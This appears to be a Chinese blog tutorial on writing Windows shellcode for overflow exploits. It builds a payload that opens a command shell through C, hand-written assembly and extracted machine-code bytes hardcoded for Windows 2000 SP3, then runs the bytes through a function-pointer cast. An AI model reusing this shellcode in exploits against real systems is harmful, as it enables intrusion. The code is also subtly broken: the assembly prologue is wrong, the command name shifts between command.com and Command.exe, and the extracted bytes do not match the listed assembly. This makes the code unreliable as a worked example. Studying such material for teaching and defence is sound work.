打造Windows下自己的ShellCode

为了帮助初学者了解ShellCode的编写,并能一步一步操作得到自己的ShellCode,因此将Windows下ShellCode的编写过程作详细的介绍,以利于像我一样的菜鸟,最终能够写出简单的但却是真实的ShellCode;而进一步高级的ShellCode的编写,也会在系列后面的文章中一步一步的演示的,希望大家会发现,Exp真好,ShellCode最美妙!

    ShellCode简介和编写步骤

    从以前的文章和别人的攻击代码中可以知道,ShellCode是以“\xFF\x3A\x45\x72……”的形式出现在程序中的,而Exploit的构造就是想方设法地使计算机能转到我们的ShellCode上来,去执行“\xFF\x3A\x45\x72……”――由此看出,ShellCode才是Exploit攻击的真正主宰(就如同独行者是我们文章的主宰一样)。而ShellCode的“\xFF\x3A\x45\x72……”那些值,其实是机器码的形式,和一般程序在内存里面存的东东是没什么两样的,攻击程序把内存里面的数据动态改成ShellCode的值,再跳过去执行,就如同执行一个在内存中的一般程序一样,只不过完成的是我们的功能,溢出攻击就这样实现了。

    在此可以下个定义:ShellCode就是一段程序的机器码形式,而ShellCode的编写过程,就是得到我们想要程序的机器码的过程。

    当然ShellCode的特殊性和Windows下函数调用的特点,决定了和一般的汇编程序有所不同。所以其编写步骤应该是,

1.构想ShellCode的功能;
2.用C语言验证实现;
3.根据C语言实现,改成带有ShellCode特点的汇编;
4.最后得到机器码形式的ShellCode。
其中最重要的是第三步――改成有ShellCode特点的汇编,将在本文的后面讲到。

    首先第一步是构想ShellCode的功能。我们想要的功能可能是植入木马,杀掉防火墙,倒流时光,发电磁波找外星人等等(WTF:咳……),但最基本的功能,还是希望开一个DOS窗口,那我们可以在DOS窗口中做很多事情,所以先介绍开DOS窗口ShellCode的写法吧。

C语言代码
比如下面这个程序就可以完成开DOS窗口的功能,大家详细看下注释:

#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);  //定义函数指针
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System"); //查找System函数地址
(ProcAdd) ("command.com");  //其实就是执行System(“command.com”)
return 0;
}

    其实执行System(“command.com”)也可以完成开DOS窗口的功能,写成这么复杂是有原因的,解释一下该程序:首先Typedef void (*MYPROC)(LPTSTR)是定义一个函数指针类型,该类型的函数参数为是字符串,返回值为空。接着定义MYPROC ProcAdd,使ProcAdd为指向参数为是字符串,返回值为空的函数指针;使用LoadLibrary(“msvcrt.dll”);装载动态链接库msvcrt.dll;再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)获得 System的真实地址并赋给ProcAdd,之后ProcAdd里存的就是System函数的地址,以后使用这个地址来调用System函数;最后(ProcAdd) ("command.com")就是调用System("command.com"),可以获得一个DOS窗口。在窗口中我们可以执行Dir,Copy等命令。如下图1所示。


打造Windows下自己的ShellCode

图1

    获得函数的地址

    程序中用GetProcAddress函数获得System的真实地址,但地址究竟是多少,如何查看呢?

    在VC中,我们按F10进入调试状态,然后在Debug工具栏中点最后一个按钮Disassemble和第四个按钮Registers,这样出现了源程序的汇编代码和寄存器状态窗口,如图2所示

打造Windows下自己的ShellCode
 
图2

    继续按F10执行,直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System")语句下的Cll dword ptr [__imp__GetProcAddress@8 (00424194)]执行后,EAX变为7801AFC3,说明在我的机器上System( )函数的地址是0x7801AFC3。如图3所示。

打造Windows下自己的ShellCode
 
图3

    WTF:注意本次测试中读者的机器是Windows 2000 SP3,不同环境可能地址不同。

    为什么EAX就是System( )函数的地址呢?那是因为函数执行的返回值,在汇编下通常是放在EAX中的,这算是计算机系统的约定吧,所以GetProcAddress(”System”)的返回值(System函数的地址),就在EAX中,为0x7801AFC3。

    Windows下函数的调用原理

    为什么要这么麻烦的得到System函数的地址呢?这是因为在Windows下,函数的调用方法是先将参数从右到左压入堆栈,然后Call该函数的地址。比如执行函数Fun(argv1, argv2),先把参数从右到左压入堆栈,这里就是依次把argv2,argv1压入堆栈里,然后Call Fun函数的地址。这里的Call Fun函数地址,其实等于两步,一是把保存当前EIP,二是跳到Func函数的地址执行,即Push  EIP + Jmp Fun。其过程如下图4所示。

打造Windows下自己的ShellCode
 
图4

    同理,我们要执行System("command.com"):首先参数入栈,这里只有一个参数,所以就把Command.com的地址压入堆栈,注意是Command.com字符串的地址;然后Call System函数的地址,就完成了执行。如图5所示。

打造Windows下自己的ShellCode
 
图5

    构造有ShellCode特点的汇编

    明白了Windows函数的执行原理,我们要执行System(“Command.exe”),就要先把Command.exe字符串的地址入栈,但Command.exe字符串在哪儿呢?内存中可能没有,但我们可以自己构造!

    我们把‘Command.exe’一个字符一个字符的赋给堆栈,这样‘Command.exe’字符串就有了,而栈顶的指针ESP正好是Command.exe字符串的地址,我们Push esp,就完成了参数――Command.exe字符串的地址入栈。如下图6所示。

打造Windows下自己的ShellCode
 
图6

    参数入栈了,然后该Call System函数的地址。刚才已经看到,在Windows 2000 SP3上,System函数的地址为0x7801AFC3,所以Call 0x7801AFC3就行了。
把思路合起来,可以写出执行System(“Command.exe”)的带有ShellCode特点的汇编代码如下。

mov esp,ebp ; 
   push ebp ; 
   mov ebp,esp ;    把当前esp赋给ebp
xor edi,edi ;
   push edi ;压入0,esp-4,; 作用是构造字符串的结尾\0字符。
   sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。
   mov byte ptr [ebp-0ch],63h ;  c
   mov byte ptr [ebp-0bh],6fh ;  o
   mov byte ptr [ebp-0ah],6dh ;  m
   mov byte ptr [ebp-09h],6Dh ;  m
   mov byte ptr [ebp-08h],61h ;  a
   mov byte ptr [ebp-07h],6eh ;  n
   mov byte ptr [ebp-06h],64h ;  d
   mov byte ptr [ebp-05h],2Eh ;  .
   mov byte ptr [ebp-04h],63h ;  c
   mov byte ptr [ebp-03h],6fh ;  o
   mov byte ptr [ebp-02h],6dh ;  m一个一个生成串"command.com".
   lea eax,[ebp-0ch] ;   
   push eax ;    command.com串地址作为参数入栈
   mov eax, 0x7801AFC3 ;
   call eax ;     call System函数的地址

    明白了原理再看实现,是不是清楚了很多呢?

    提取ShellCode

    首先来验证一下,在VC中可以用__asm关键字插入汇编,我们把System(“Command.exe”)用我们写的汇编替换,LoadLibrary先不动,然后执行,成功!弹出了我们想要的DOS窗口。如下图7所示。

打造Windows下自己的ShellCode
 
图7

    同样的道理,LoadLibrary(“msvcrt.dll”)也仿照上面改成汇编,注意LoadLibrary在Windows 2000 SP3上的地址为0x77e69f64。把两段汇编合起来,将其编译、链接、执行,也成功了!如下图8所示。

打造Windows下自己的ShellCode
 
图8

    有了上面的工作,提取ShellCode就只剩下体力活了。我们对刚才的全汇编的程序,按F10进入调试,接着按下Debug工具栏的Disassembly按钮,点右键,在弹出菜单中选中Code Bytes,就出现汇编对应的机器码。因为汇编可以完全完成我们的功能,所以我们把汇编对应的机器码原封不动抄下来,就得到我们想要的ShellCode了。提取出来的ShellCode如下。

unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77"  //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50" 
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78"  //sp3 System地址0x7801afc3
"\xFF\xD0";

    验证ShellCode

    最后要验证提取出来的ShellCode能否完成我们的功能。在以前的文章中已经说过方法,只需要新建一个工程和c源文件,然后把ShellCode部分拷下来,存为一个数组,最后在main中添上( (void(*)(void)) &shellcode )(),如下:

unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77"  //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50" 
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78"  //sp3 System地址0x7801afc3
"\xFF\xD0";
int main()
{
( (void(*)(void)) &shellcode )()
return 0;
}

    ( (void(*)(void)) &shellcode )()这句话是关键,它把ShellCode转换成一个参数为空,返回为空的函数指针,并调用它。执行那句就相当于执行ShellCode数组里的那些数据。如果ShellCode正确,就会完成我们想要的功能,出现一个DOS窗口。我们亲自编写的第一个ShellCode成功完成!


  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值